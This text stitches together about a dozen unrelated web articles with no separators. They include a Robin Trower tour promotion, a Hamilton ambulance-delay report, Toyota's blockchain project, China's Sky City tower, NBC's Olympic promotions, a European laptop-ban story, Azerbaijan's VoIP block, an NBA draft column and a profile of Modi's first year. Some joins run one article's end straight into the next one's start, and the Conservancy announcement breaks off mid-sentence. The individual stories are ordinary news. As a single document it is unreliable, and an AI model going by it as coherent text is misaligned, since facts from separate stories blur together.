Something’s About To Change released in early 2015 confirmed a world-class musician at the top of his game. With his own V12 record label allowing Trower to bypass the spirit-sapping protocol of the conventional record industry, it comes to no surprise this album sounds so vital. While palpably influenced by Trower’s deep love of post-war U.S. blues, its personal themes and visceral music mean that it will resonate with every generation. This set of songs differed from the catalog as Robin himself played the Bass on them. “As a songwriter and a performer, you use everything at your disposal to put into your songs,” reflects Trower.
The latest release is titled Where You Are Going To. The new CD is more of a rocker, but still squarely based in Robin’s love for Blues. Robin’s voice is much more confident on these ten new studio recordings, and the guitar work is stunning. A continuation of Mr Trower’s creative upsurge. The songs remain the cornerstones. The artist’s astonishing fretwork may sometimes take top billing, but the all-original material of Where You Are Going To speaks of the gas in his creative tank. “There is some sort of feeling of emotional release,” he says, “when you play a note that rings out right.” Leading the line, of course, is Robin himself, playing bass again, alongside his unmistakable soul-in-fingers guitar parts. Chris Taggart played Drums, and Livingstone Brown co-produced and did the mixing/mastering
The current century has seen Robin wowing fans old and new on both sides of the Atlantic. The stadiums he filled in the Seventies may be a fond memory, but the upside is that audiences in clubs and theatres can witness the magic at closer quarters.
Robin will return to the stage in the US for a six week tour in Spring 2017. It will feature a trio, Robin’s favorite line-up, with Richard Watts on Bass and vocals, and Chris Taggart on drums.
Make no bones about it, Robin Trower is an axeman’s axeman. He’s been a Fender Stratocaster endorsee ever since Jethro Tull’s Martin Barre let him try one before a gig in the early Seventies, and now has his own signature model – an honor accorded to few. Robin Trower live is an experience not to be missed. Whether you play guitar, or just enjoy a brilliant soulful player, come out and see the show. You will walk away smiling.
Robin Trower Links: Facebook ~ Webpage
Support Band: Tomorrow The Moon
Tomorrow The Moon released their second album, “Blow, Mind, Blow” in late 2015, a menagerie of aggressive and psychedelic rock through which an unconscious yet unerring pop sensibility runs. The Chicago-based trio is fronted by guitarist/singer Steve Gerlach, who has worked over the years with John Cale, Tommy Keene and Chris Connelly to name a few. Gerlach also continues to work with the prominent Bowie tribute, Sons of the Silent Age (founded by Connelly and current Morrissey drummer Matt Walker) and multiple other projects, while always returning to the trio format of Tomorrow The Moon as a main course. “Blow, Mind, Blow” boasts two indeed mind-blowing computer-animated videos by Chicago artist Thomas McKeon.
Tomorrow the Moon link on Spotify
Event Producer & Link: One Eleven Productions Contact Inf: Scott Gelman, [email protected]
MANY music videos can be found on Robin Trower’s Facebook Page Video tab.
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Public Service Announcement ☺Sharn McKellar spent about 2 hours waiting for an ambulance to arrive when he helped an injured lady at Days Park.
A man who nursed an injured woman for two hours before an ambulance arrived has laid a complaint against St John.
The patient, understood to be in her late 60s, was walking her dog in Hamilton's Days Park on Tuesday afternoon when she fell down a slope and hit a tree trunk head first at the bottom.
The impact is understood to have left her with a fractured ankle, a broken nose and damage to nerves in her neck.
CHRISTEL YARDLEY/FAIRFAX NZ 'I'm disappointed with the response time," Sharn McKellar says, "especially after being assured in the first two phone calls that an ambulance was on the way.'
The accident happened about 1.45pm and the woman was bleeding and dazed, said Sharn McKellar, who had been fishing nearby. He heard a thump and went to investigate.
"I'm disappointed with the response time of that ambulance, especially after being assured in the first two phone calls that an ambulance was on the way," he said.
More than 90 minutes elapsed before St John rang him back to check on her condition, to advise of the ambulance delay, and to ask for the woman's ethnicity.
"What's ethnicity got to do with life and death?" McKellar said.
A St John Ambulance spokeswoman, in a statement, said the call was correctly handled, but will meet with the patient to discuss the wait time. The spokesperson did not respond to queries about why St John wanted to know the woman's ethnicity.
Once the ambulance did arrive, the fire service had to be called to bring in a special stretcher.
"I should have just rung the fire engine to come and save her. What's up with that?" McKellar said.
"When I first got to her, she didn't know where she was... blood pouring out of her head. I got a cloth, and everything, applied pressure to it - the bleeding stopped."
He laid a complaint with St John on Wednesday.
The first 111 call was correctly prioritised as neither life-threatening nor time critical, St John spokeswoman Sheri-Lyn Purdy said in a statement.
"In this case, our process is to send an ambulance when one becomes available," she said.
"It took two hours for an ambulance to reach the scene and we always regret when patients have to wait longer than is ideal."
McKellar, in relating the event, said he heard a thump, saw the woman's dog and then part of her dark blue jacket.
He approached, asked if he could help, and moved her into as comfortable a position as possible, given the tree roots. He couldn't move because he was supporting her on his shoulder, to keep her neck up. He eventually lost feeling in his arm.
During the first phone call - at 1.50pm - he was assured an ambulance was on the way. But when none arrived, he rang again at 2.38pm.
St John said there was still no ambulance available, so it was arranged for a paramedic to ring back for a clinical telephone assessment. That wouldn't happen for nearly another hour.
Meanwhile, other park users provided warm clothes and a towel and helped look after the woman's dog, while more went up to River Road to direct the ambulance when it arrived.
Bystanders got worried and made further 111 calls, so McKellar thinks there were about six in total.
St John, which has a base in Hukanui Road, about a 5-minute drive away, finally called back at 3.20pm to check on the woman's condition.
"Supposedly all the ambulances in Hamilton were on call somewhere," McKellar said.
"I just hung up the phone in disgust after that.
"I told them on that phone call, 'You're going to need a stretcher, there's no other way you can get her up the hill.' "
St John spokeswoman Purdy said the telephone assessments were part of a regular St John process and designed as a safeguard for waiting patients.
"Based on the paramedic's assessment and new information, the incident was upgraded in priority and an ambulance was dispatched shortly afterwards."
By then the woman's condition was worsening, McKellar said.
"She was going into shock, she was getting cold, her face was going pale, there were more complaints about pain," he said.
"Her speech had got slower, it got slurred and then the only response I could get from her was... just pain sounds."
At 3.40pm, an ambulance arrived, only to ascertain that rescuers needed a special stretcher, so it took another 15 minutes for the fire service to arrive with one.
The fire service confirmed that a call logged at 4pm on Tuesday was to assist an ambulance with a patient who had fallen down an embankment, and a special kind of stretcher called a stokes basket was used.
The injured woman phoned McKellar the day after the accident to thank him for his help.
She was stable in a ward at Waikato Hospital on Friday afternoon but did not want to be interviewed.
Waiting for the ambulance
1.45pm: estimated accident time
1.50pm: first 111 call
2.38pm: second 111 call
3.20pm: call from St John asking about condition, told no spare ambulances available
3.40pm: ambulance arrives, calls fire service for special stretcher
4pm: estimated time fire engine arrives with stokes basketMay 23, 2017 at 13:35 // News
Nina Lyon Author
The Toyota Research Institute has announced it has partnered with MIT Media lab to explore Blockchain technology and the possibilities of using its advantages for self-driving cars.
According to a report, the wholly owned unit of Toyota Motors North America has also teamed up with Bigchain DB company, which is building the database, Oaken Innovations, the company developing an application for car-sharing and payments, and the Commuterz startup, that is creating car-pooling, on a new Blockchain project for driverless cars.
Toyota aims to use Blockchain in secure data sharing on testing and driving. Moreover, they plan to use Blockchain in collecting, storing and sharing driving data to help set insurance rates, lower insurance costs and reduce fraud.
Chris Ballinger, the Toyota Research Institute's director of mobility services and chief financial officer commented:
"Hundreds of billions of miles of human driving data may be needed to develop safe and reliable autonomous vehicles. Blockchains and distributed ledgers may enable pooling data from vehicle owners, fleet managers, and manufacturers to shorten the time for reaching this goal."
Blockchain technology in future automotive industry
Now, car manufacturers and companies working in the automotive industry are keen to use distributed ledger technologies in their products.
Daimler AG, a German automotive corporation that owns the Mercedes-Benz brand, has recently joined a Hyperledger project to to build a cross-industry blockchain standard, for customers, supply chain, digital services, financial services and financing tools. Moreover, Daimler Financial Services AG has acquired a Bitcoin and other cryptocurrencies payment services provider – PayCash Europe.
In 2016, a private technology company, Acronis, proposed using Blockchain technology for a software solution that allows a determination of the level of responsibility between the owner of the car and the self-driving car manufacturer if there is a car accident. Acronis has also developed Blockchain-based software that can track and store the racing car data for the Italian Formula One racing team Scuderia Toro Rosso.Broad Construction
If only constructing a skyscraper were as easy as stacking Legos. Then, we’d be throwing together 200-story towers in a matter of weeks, just clicking blocks together until we got bored. But the idea isn’t so far-fetched: if China’s Broad Sustainable Building Corp. is doing its math and crossing its ts properly, it could be topping out a 2,749-ft.-tall skyscraper — the world’s tallest — in just three months.
Starting in January, the race will be on against what seems to be an impossibly short deadline. Broad is allotting just 90 days to construct the 220-story tower, dubbed Sky City, in the city of Changsha, in China’s southeastern Hunan province — meaning the building will go up at a rate of about five stories a day, according to Construction Week Online.
(MORE: Top 10 Tallest Structures in the World)
It’s not only the speed, though; it’s the height. Upon completion, Sky City will be 32 ft. taller than the Burj Khalifa, the current tallest building in the world. It’ll also go up 24 times quicker. Upon completion, the tower will contain a school, hospital, 17 helipads and apartments for 30,000 people, according to online design magazine Dezeen. It’s unclear, though, if it will have a lobby — the regimented prefab construction has prohibited wide open spaces on the ground floor of previous Broad buildings, Wired explains.
Broad began as an air-conditioner manufacturer but diversified after developing a new method of constructing prefab skyscrapers, whose components slot together like Erector Set pieces. According to Wired, the company’s founder and chairman Zhang Yue was inspired by the immense devastation of the Sichuan earthquake in 2008, which killed more than 68,000 people, to develop quake-friendly building designs; the sturdy modular style Broad pioneered is 95% prefabricated in the company’s factories in Hunan province.
As of September, Broad had built 17 of the prefab structures, all but one in China, and fast: the company put up a 15-story hotel in just two days, and a 30-story tower in just 15. The structures are as bland as a Sears Catalog Home, and as pretty as a stack of plywood, but for Zhang, it’s not about style. Broad’s buildings use less concrete in the floors and less steel in the support beams, reducing the weight and increasing its earthquake resilience — Zhang says his buildings are meant to withstand a 9.0-magnitude temblor.
(MORE: London Skyscraper Takes Title of Tallest Building in Europe)
Indeed, the towers’ blandness and adaptability is part of the plan: Broad plans to monetize its housing concept by licensing the technology to countries across the globe. Franchisees can then build the pieces locally to prevent the exorbitant cost of shipping the prefabricated pieces.
As for Sky City, Broad plans to start laying the foundation at the end of November, with the three-month race against the clock starting at the end of the year and running through March. Ladies and gentlemen, get out your stopwatches — this one could be a nail-biter.
PHOTOS: Exclusive from NASA: The New Tallest Building in New York City, from AboveConservancy Projects Launch Coordinated Free Software Compliance Efforts
Multiple Conservancy Projects Join Together to Uphold Free Software Licenses
Software Freedom Conservancy, a 501(c)(3) charitable non-profit that provides a home and a broad range of services to Free Software projects, announced today a unified effort among many of its member projects to ensure compliance with their Free Software licenses. The effort brings together copyright holders, developers, and users of a variety of Conservancy's projects — old and new — to ensure that the rights embodied in Free Software licenses are fully upheld for all developers, users, and the general public.
Conservancy is well-known for its ongoing license compliance efforts on behalf of its BusyBox member project. Today, more Conservancy projects and initiatives join BusyBox in its desire to ensure compliance with Free Software licenses. Firstly, Conservancy's Samba member project |
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The best example of an Olympic promo success, Mr. Littlefield said, was how NBC lured viewers into following an existing series, the comedy “Mad About You,” to a new night after the 1992 Games. Creative spots featuring the show’s stars, Paul Reiser and Helen Hunt, were a hit then. “It was incredibly effective and filled a critical need for us,” Mr. Littlefield said.
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Brad Adgate, senior vice president for research for Horizon Media, said perhaps the best thing about the program promotions was that NBC was “really going after their base.” He pointed out that the Olympic audience was 54.3 percent female, and NBC’s prime-time audience is 55 percent female. The median viewer age during the Games was 49.1; NBC’s last season was 50. “This might be an audience more apt to watch new shows on NBC,” Mr. Adgate said.
NBC could see benefits in areas other than prime time, Mr. Wurtzel said. News programs, like “Today” and “NBC Nightly News,” which have consistent audiences, have soared in London and may get a rejuvenating shot from their huge increases during the Games, he said.
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He also suggested that NBC, with the inclusion of digital platforms for mobile phones and tablets, has expanded its reach to younger viewers. Teenagers are up 27 percent; children are up 32 percent.
And older viewers have used these digital devices in even larger numbers. Mr. Wurtzel said NBC expected to learn an enormous amount about the changing media behavior of consumers, which will affect the network’s decisions about its video business in both the near and long term.
“One thing for sure,” he said, “it should change how we measure audiences.” He noted that the Nielsen measurement system was “half a century old” and not able to measure the kind of “portable viewing” that has gone on during the coverage from London.
“I have said to our executives, this stuff is the real deal,” Mr. Wurtzel said. “And we better start thinking about this in ways we haven’t thought about it before.”BANGOR, Maine (NEWS CENTER) — In just over a week, Hallee Sorenson has received roughly 30,000 birthday cards from people around the world.
Hallee's mother, Allyson Sorenson, said at first all of the cards were able to fit in their mailbox.
"As the days went on we would be getting mail from further and further away like a ripple effect," Sorenson said. "Today's delivery will put us over 30,000."
People started sending the birthday cards after a picture of Hallee, who has autism, went viral on social media. It shows her at her 18th birthday party last year sitting alone. "Even if you didn’t know exactly what was going on in that picture, I think it would have struck a cord," Sorenson said. "I think that she looked so desolate."
The cards and packages have come from all over the country and around the world. Some have simple notes or hand drawn pictures, others have letters. "Its just amazing, and it's so cool, the stuff and the places that it's coming from and the kindness," Sorenson said.
She has received packages from the Boston Red Sox, Washington Redskins, Bon Jovi, and even the Secret Service.
"Despite somebody's abilities, everybody deserves to be included," Sorenson said. "Everybody deserves to be considered."
This huge act of kindness shows — this year — the world is celebrating with Hallee as she blows out her candles.
Copyright 2016 WLBZEuropean airlines are prepping for an expansion of the U.S. ban on bringing laptops and other large electronic devices inside the cabins of planes headed for American airports.
While no official announcement has been made, the U.S. has already banned laptops on board flights coming into the country from eight Middle Eastern and North African nations, and European transport and security officials are slated to meet with their American counterparts in Brussels on Wednesday to discuss the broadening of the ban to Europe.
Compared to the current ban on laptops and tablets, which affects around 50 flights a day into the U.S., expanding the ban to Europe would affect trans-Atlantic routes that carry as many as 65 million people a year on more than 400 daily flights, including business travelers who use laptops to work in-flight.
Two of Europe’s biggest airlines, Air France-KLM and Deutsche Lufthansa, have both said that while they are making preparations for a moratorium on the electronic devices, at the moment it is still business as usual in regards to traveling from Europe to the U.S.
“It is as yet unclear if and when the ban will take effect,” KLM said in a statement released on Friday. “KLM is keeping a close eye on developments and is preparing to take measures should the ban be announced. KLM will inform passengers if any changes affecting the check-in procedure for flights to the United States will occur.”
A spokesman for Lufthansa told Bloomberg News that the airline was working internally on a number of different scenarios for any extension to the ban, but in a statement to Fox News sought to reassure customers that it “was not provided with information on enhancements of the device ban by the U.S. authorities” and that “existing security procedures for Lufthansa Group-U.S. flights remain unchanged for the time being.”
Alain Bauer, president of the CNAPS, a French regulator of private-sector security agents, including those checking baggage and passengers in France's airports, predicted "chaotic" scenes initially if the ban was instituted.
"Imagine the number of people who carry their laptops and tablets onto planes — not just adults, but also children," he said.
Bauer added that the ban would slow passage through security checks as people try to negotiate a way of keeping their laptops.
Expanding the ban to Europe would affect trans-Atlantic routes that carry as many as 65 million people a year on over 400 daily flights. — Airline analysts
"It's not like losing your water bottle or your scissors. It will take more time to negotiate," he said.
The head of the International Air Transport Association said recently that the electronics ban is not an acceptable or effective long-term solution to security threats, and said the commercial impact is severe.
Along with European airlines, major U.S. carriers like United Airlines, Delta Air Lines and American Airlines Group could be affected by the ban.
“U.S. airlines have a successful history of working with the appropriate government agencies to ensure the highest level of security is in place for everyone who flies,” Kathy Allen, a spokesperson for the industry advocacy group, Airlines for America, told Fox News in an email. “We continue to believe that security and efficiency are not mutually exclusive goals and stand ready to collaborate with DHS and TSA officials to both counter extant risks and to help minimize the impact on the traveling public.”
At the heart of the ban is a concern among Department of Homeland Security officials that a bomb in the cabin would be easier to make and require less explosive force than one in the cargo hold. Baggage in cargo usually goes through a more sophisticated screening process than carry-on bags.
Jeffrey Price, an aviation-security expert at Metropolitan State University of Denver, said the original ban focused on certain countries because their equipment to screen carry-on bags is not as effective as machines in the U.S.
U.S. officials said in March that the move to bar laptops and tablets from the cabins of some international flights wasn't based on any specific threat, but on longstanding concerns about extremists targeting jetliners.
Airline industry experts, however, say that shifting numerous lithium-battery powered devices from a plane’s main cabin to the cargo hold is not without its own risks.
“Occasionally these devices that are left on will overheat and spontaneously explode,” Greg Marshall, vice president of global programs at the Flight Safety Foundation, told Fox News. “These instances are rare, but when they occur in the main cabin, the cabin crew can intervene. In the cargo hold, that is much more difficult to handle.”
An industry-backed group, the Airline Passenger Experience Association, said the U.S. government should consider alternatives. That could include routinely testing laptops for chemical residues associated with bombs, requiring owners to turn on their devices and letting frequent travelers keep their electronics with them.
The group's CEO, Joe Leader, noted that airlines have reduced service by more than 1 million long-haul seats in the 10 Middle Eastern and North African cities affected by the March policy. If it spreads to Europe, "it's simply a matter of time" before laptops are banned in the cabins of domestic U.S. flights, he said.
The Associated Press contributed to this report.For the last month, Azerbaijani internet users have been unable to make international calls on Skype and WhatsApp. The blockage has not been officially acknowledged, only noticed by Azerbaijani users of the popular services. As is often the case with Baku, it’s an open question whether the decision was motivated by paranoia, greed, or some combination of the two.
First, the case for paranoia. There are strong indications that those in the Azerbaijani leadership who believe an international “anti-Azerbaijani underground” exists are increasingly influencing decision-making, and contributing to the government’s tendency to take bold steps against perceived enemies that, in times past, would have been weighed against worries of upsetting allies in the United States and European Union.
A year ago, Azerbaijan organizing the kidnapping of a vocal exile journalist and activist, blocking pesky independent websites, or attempting to extradite Leyla and Arif Yunus, prominent Azerbaijani intellectuals and former political prisoners return from political asylum in the Netherlands, would have seemed relatively far-fetched. And yet Baku managed all of this in a few short weeks.
Baku appears to have been given significantly more room to maneuver by international partners recently. This was most vividly evidenced by the European Bank for Reconstruction and Development deciding to disregard Azerbaijan's dramatic exit from the Extractive Industries Transparency Inititiative and award Baku a huge pipeline construction loan. So Azerbaijan's government may have sensed that the timing was right to crack down.
As for the question of “why now?”, a leading rumor in Azerbaijani activist circles is the block on Voice over Internet Protocol (VoIP) – the technical name for Skype and WhatsApp-style services – is that the state was unnerved that a prominent political exile, despite not making any effort to conceal his activities, was able to both open an office in Georgia and communicate repeatedly with activists in Baku without their knowledge. According to this version, Azerbaijan's security services used WhatsApp’s encryption as an excuse for their failure to keep tabs on someone who was not trying very hard to hide, Baku’s leadership bought it, and a snap decision was made to block international VoIP.
Of course, the rumor is essentially unconfirmable, and the move also could have been motivated by a desire to prevent future fiascos like the 2015 protests in the western Azerbaijani city of Mingachevir, when video leaked to Meydan TV via WhatsApp belied the official account of a man’s death in police custody and prompted citizens to take to the streets.
Finally, the case for greed: Azerbaijan would not be the first country in the world to block VoIP operators to protect national telecom operators’ bottom lines, and both pro- and anti-government commentators have speculated that the block may have more to do with money than security. Telecommunications is one of a handful of sectors of the Azerbaijan’s petrochemical-dependent economy growing at a healthy rate – the World Bank expects it to become “a major contributor to non-oil GDP” by 2020 – and according to reporting from the OCCRP, the first family is heavily invested in the sector behind the scenes.
Whatever the reason, the main losers are ordinary Azerbaijanis who formerly used VoIP to talk to friends and relatives abroad, but who now will have to limit themselves to text messages or pay international calling rates. Dissidents, sophisticated internet users, and those with enough English to read how to circumvent the block on StackExchange will find a way around it. Domestic telecommunications operators will benefit in the short term, but the sector will suffer as a whole, as talented young Azerbaijanis that make up its future workforce may opt to move abroad rather than work in an increasingly oppressive state.If you thought that rookie point guard Ricky Rubio was Minnesota GM David Kahn's Great White Whale, remind yourself of the saga of Spanish forward (and former Rubio teammate) Fran Vazquez. Vazquez was selected as a lottery pick 11th overall by Orlando Magic GM Otis Smith in 2005; he's yet to do more for the team than posing for the picture you see above, and there's a chance (ooh, a chance!) the scrappy power forward could come over to the Magic this summer after his Spanish League contract expires.
And, in a move reminiscent of a distraught Toni Kukoc coming to Chicago just as Michael Jordan first retired in 1993, he'll get here just in time to see Dwight Howard possibly leave Orlando as a free agent. Still, that's what happens when you draft a player that professed to have no ambition or interest in playing professional basketball in the NBA, as Vazquez did back in 2005. This might change soon, though. From Brian Schmitz at the Orlando Sentinel:
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Smith said Vazquez' contractual situation will allow him to come over to the states and maybe finally attempt to make the Magic's roster.
"That's the plan," Smith said of the Spanish power forward. Vazquez is playing for FCB Regal in Spain. Smith said Assistant General Manager Dave Twardzik and scout Sam Foggin have seen and spoke with Vazquez. Schmitz went on to pull up a fairly recent quote from Rubio, which points out Vazquez' hustle and athleticism. "It's easy to play with him," Rubio told Schmitz, "because he doesn't need the ball."
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That's music to the ears of a team looking for a little toughness and ability to secure extra possessions. A guy to help Dwight Howard do the dirty work, while setting the sort of screens for shooters that -- if Howard set them -- would send Dwight to the bench with three fouls before the end of the first quarter.
That team, and placement, might not exist if Vazquez suits up for Orlando starting in October of 2012. Mayan predictions aside, the Magic will likely attempt to rebuild from the bottom up should Howard leave for little-to-no compensation this July. They should attempt it, at least, if they want to pull off rebuilding correctly. Because, though Smith might not like to admit it, they will be rebuilding if Howard leaves. There's no way around it.
So even before Vazquez plays an NBA minute, the idea of a well-regarded 29-year-old big forward with team-first credentials could entice teams looking to go over the top. And while Smith nor Magic fans might not like the idea of wasting a lottery pick (even if it was a lottery pick from an era still reeling from the loss of new "Frasier" episodes) as a way to create future payroll flexibility, the idea of using Vazquez's rights as a way to get out from under a contract like Hedo Turkoglu's might be a sound rebuilding move.
Because it's not as if the Magic would need a 29-year-old rookie as a building block moving forward. Other eager teams might, though.
Smith likes to save face. He's clearly decided (for now, at least) to pass on dealing Howard, and his litany of win-now moves (including the Vazquez pick, because Smith thought he'd be with the team immediately) since taking over the team in 2005 suggests that he'll try to keep calm and carry on in his own inimitable fashion, not unlike Cleveland's waste of a season following LeBron James' defection. Smith can't rely on the luck the Cavaliers got in watching their lower-level lottery pick jump to the front of the pack in order to draft a new franchise stud in Kyrie Irving, though. And Vazquez, ready to push a contending team over the top, would seem to be a way to grease the wheels in order to slide past a half-hearted rebuilding year.
This is all assuming that Smith wasn't just blowing smoke to Schmitz, though, and that Vazquez really might come over. As with anything that ever comes out of a GM's mouth, you have to go slowly and wait for something tangible before you sign off on it. Forever negotiating, they are.
It would be nice to see this guy play stateside, though, and for both Vazquez and the Magic to form a mutually beneficial relationship, even if Fran never dons the Orlando blue.In the fading days of India's last administration, it was easy to locate the country's top bureaucrats: They were usually down at the Delhi Golf Club in the heart of the capital, thwacking balls past the historic course's imposing Mughal-era tombs. Starting early in the morning, senior civil servants could sneak in a round before making the short journey from the course – which was founded during the British Raj – to nearby government offices in time for a mid-morning start.
At the time, the Indian National Congress government was embroiled in several high-profile corruption scandals, and ordinary government business had essentially stopped. Bureaucrats and ministers sat on files, afraid to approve anything that might get them in trouble. India had gone from being the world's most promising emerging market to a dysfunctional mess.
Last May, a frustrated, tired nation voted in droves for a regime change and a tough new prime minister: Narendra Modi.
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Nearly a year after he took power, tee time is officially over: Honorary golf-club memberships have been cancelled, government employees sign in on tablets that display their attendance on a public website, and newly enlivened bureaucrats are finally stamping files again. "The Delhi Golf Club is like a ghost town now," says Harjeet Bajaj, a Canadian businessman who manages various projects in India.
Mr. Modi's election was nothing short of historic: The right-wing Bharatiya Janata Party (BJP) he leads won the most decisive electoral majority in 25 years in this country of more than 1.2 billion people. His victory demolished the venerable Congress Party's hold on parliament, ending a long string of fragile coalition governments that had become paralyzed by corruption and constantly shifting political alliances.
After a year in office, Mr. Modi has brought stability to the capital, optimism to the business community and momentum to foreign relations, with frequent trips abroad to foster renewed faith in his country – including a forthcoming one to Canada. Mr. Modi will arrive here for a three-day visit on Tuesday, during which he will meet Prime Minister Stephen Harper, financial leaders and Indo-Canadian groups. Among his specific goals: inking a major deal with Cameco Corp. to secure a steady source of uranium to meet India's growing nuclear-energy needs.
Though he started his term with huge expectations, Mr. Modi has proved more cautious and incremental than many had expected. He's slowly repairing damage wreaked by previous governments' corruption, while avoiding big-ticket reforms and instead tinkering around the margins: lifting foreign-direct-investment restrictions here, slashing education and social spending there, and allotting new funds to select infrastructure projects. He has also launched an ambitious program to encourage global firms to manufacture their products in India – a scheme that may take years, but that his government hopes will bring millions of well-paying jobs to a country where the majority of people struggle as farmers, urban labourers or small-time shopkeepers.
There are signs of progress: The country's GDP is predicted to rise to 7.5 per cent this year, after hovering around five per cent in the previous two years.
But Mr. Modi's promises of sweeping economic development remain largely unrealized: Factories have not begun to spring up, and there are no gleaming new highways. Few expected instantaneous change, but even some who welcomed Mr. Modi's election see little evidence that he is making a difference. The stock market may be soaring, but India still ranks 142nd out of 189 countries in terms of ease of doing business. And although Mr. Modi has got the government moving again, India is a massive, complicated country. Many of its poorest have seen little improvement since his election.
There are other concerns, as well. Those who feared the ardent Hindu nationalist would be unable to control his party's more radical elements cite a resurgence of religious prejudice, and sometimes religiously motivated violence. Others worry about increased restrictions on civil society, and inaction on social issues such as women's rights.
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To create the millions of jobs his nation desperately needs, Mr. Modi will need to implement deeper, structural reforms. He has had a year to settle in. Now, India wants real change.
From chai stand to parliament
Mr. Modi is the most polarizing mainstream politician in modern India. Unlike most of the nation's political class, he grew up poor, in the dusty town of Vadnagar in the rural state of Gujarat, selling tea from his father's chai stand near the local railway station. He eventually drifted into the radical Hindu nationalist Rashtriya Swayamsevak Sangh (RSS), where he began working as one of the giant volunteer organization's propagandists, leaving behind the woman his parents had arranged for him to marry, and living an austere, solitary life, wandering for years as an ascetic in the Himalayas.
The RSS, which feeds the now-ruling BJP with many of its top leaders, has long been associated with the violent, khaki-shorts-wearing foot soldiers of the Hindu nationalist – or Hindutva – movement. Mr. Modi, too, joined the BJP. He rose through the party's ranks, eventually becoming Gujarat's chief minister; as the state's leader, he served four consecutive terms, winning each election more decisively than the last.
It was in his 12 years as chief minister that Mr. Modi shaped his reputation as a pro-business autocrat who ran a clean government. He simplified the approval process for new businesses and wooed companies to set up factories in Gujarat with cheap land, low-interest loans, and promises of reliable supplies of power and water. Bombardier and McCain have plants there, as does Ford. Famously, Ratan Tata decided to move a planned manufacturing plant for his new Tata Nano car from another state to Gujarat after he received a text message from Mr. Modi.
His record in other areas is more troubling. Like others in the BJP, Mr. Modi was not afraid to use religious tensions to his political advantage: His state government resisted giving compensation and housing to survivors of Gujarat's infamous 2002 riots, in which more than 1,000 people, mainly Muslims, were killed in vicious religious violence. He once likened resettlement camps for displaced Muslims to baby-making factories.
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Mr. Modi was cleared – by a Supreme Court-monitored special investigation team – of complicity in the attacks, but some believe he can never be fully exculpated, citing his inaction as the riots unfolded: Police often stood by while people were killed, or helped abet the killing. In the years since, Mr. Modi has never apologized.
An unfinished economic revolution
People talk about India as an economic success story only because of reforms introduced in 1991, when the Congress government brought into being a dramatic liberalization process – one that makes Mr. Modi's efforts so far look timid by comparison. The government effectively dismantled the so-called Permit Raj of rigid licences, import approvals and other legacies of India's socialist postcolonial period. The reforms unleashed the country's talented business class, and growth soared. Indian universities now churn out a steady stream of brilliant software engineers, scientists and globally competitive business people.
Over the next decade, many new businesses surged: call centres, back-office outsourcing, and eventually more advanced research industries in pharmaceuticals and technology in southern cities such as Bangalore and Hyderabad; as well as some manufacturing around cities such as Chennai – a car-making hub – and Gujarat's Ahmedabad, which both have access to ports. But it was an unfinished, and unequal, revolution. The services sector, which now accounts for half of India's GDP, employs a comparatively small segment of the country's vast population.
India has the second-largest labour force in the world – about 500 million people – but roughly half of them work in the fields, on unproductive small plots of farmland that have been subdivided over generations. While the country has world-class institutes of technology and management, it also has an abysmal record of giving children a basic education, partly because of resistance from rural Indians, who want their children to work rather than go to school. Many businesses also complain that graduates from all but the elite colleges and universities have few usable skills, and can require up to six months of training before being ready for work.
Which is why Mr. Modi is casting a much wider net in his quest for economic development – for example, by pushing for hundreds of millions of Indians to open bank accounts, so that the central government can transfer subsidies to them directly rather than through corrupted middlemen.
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Making things, to make jobs
Between 1997 and 2011, India's economy grew on average at around 7 per cent a year. But even while the economy was surging and some sectors were on the upswing, there was no commensurate gain in the industrial-scale, export-oriented manufacturing that propelled China's masses out of poverty.
There are several reasons for this. Outside of India's big cities, the roads are often flooded, potholed and gridlocked with bullock carts. Ports, railways and other infrastructure are in terrible shape, making it costly to move goods around the country: It is often cheaper to ship something from Mumbai to Africa than to ship it within India. Power cuts are a regular occurrence, contracts are essentially unenforceable, legal disputes can take several decades to wind through India's clogged court system, regulation has been unpredictable, corruption has been a problem at all levels of government, and acquiring land for new projects can take years.
In contrast to the services industry, where companies can simply move into pre-existing real estate, industrial firms in particular can't easily purchase plants – and since they often require more land, equipment, power and other supplies than do businesses such as research labs, manufacturing has been particularly stunted. The World Bank ranks India 184th out of 189 nations in "dealing with construction permits" – making it literally one of the worst places in the world to build something.
Changing this state of affairs is one of Mr. Modi's priorities. And it seems to be working. "The biggest change is hope," says Shailesh Pathak, executive director of the Bhartiya Group, an Indian conglomerate that spans fashion and real-estate. "Last year, the feeling was despair. This year, it is hope."
Mr. Modi is making a concerted effort to improve India's manufacturing sector – acknowledging, in the process, that economic progress, without jobs, is not the way forward. "What we need is not just more production," he has said, "but mass production and production by masses."
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Inside a complex of cream-coloured government buildings in New Delhi, Amitabh Kant is a man besieged. It is 6:30 p.m. on March 31 – the last day of India's fiscal year – and a half-dozen people are waiting outside his office. He has to catch a flight to China, but the phone keeps ringing, and a staffer has just dumped three overflowing manila envelopes in front of Mr. Kant, who is secretary of India's department of industrial policy and promotion within the Ministry of Commerce and Industry. "I'll miss my flight if I don't clear these," he says, removing his glasses and rubbing his nose with his thumb and index finger. "I don't have time for a long Q&A."
Mr. Kant is the man responsible for Mr. Modi's "Make in India" campaign, a high-profile initiative to convince the world's manufacturers to build their products on the subcontinent. It aims to boost manufacturing in 25 key sectors, from transportation, mining, electronics and chemicals to biotechnology, food processing and wellness. The campaign includes practical measures – the government recently revamped import duties on electronics, doubling the fees for finished devices, while cutting the duty on components to zero – but the biggest focus has been on outreach.
In addition to that campaign, Mr. Modi has begun to dismantle the vestiges of more than 60 years of socialist state policies, selling off stakes in public companies, opening some sectors to foreign investment, and abolishing India's Planning Commission, a 500-person group that churned out Soviet-style five-year economic plans under successive Congress governments. He is now also embroiled in a political battle to significantly alter India's arduous land-acquisition policy. While Congress and other liberals see this as a corporate land grab, Mr. Modi and the BJP say they want to make it easier for businesses and government to buy land from farmers for factories, roads and other infrastructure projects.
There are some indications that this emphasis on manufacturing is beginning to have an impact. The Canadian electronics company Datawind, for instance, which makes inexpensive smartphones and tablets for the Indian market, announced that it would relocate production from Chinese factories to India now that import duties have been changed. "This will shift manufacturing to India," says Suneet Singh Tuli, Datawind's chief executive officer, who has pledged to create roughly 1,000 new jobs in the country.
Other global gadget makers are also said to be looking at opening factories. And the foreigners' registration office in New Delhi is full of Japanese nationals representing huge companies such as Sharp and Mitsubishi, seeking new countries in which to invest.
Fomenting dissent
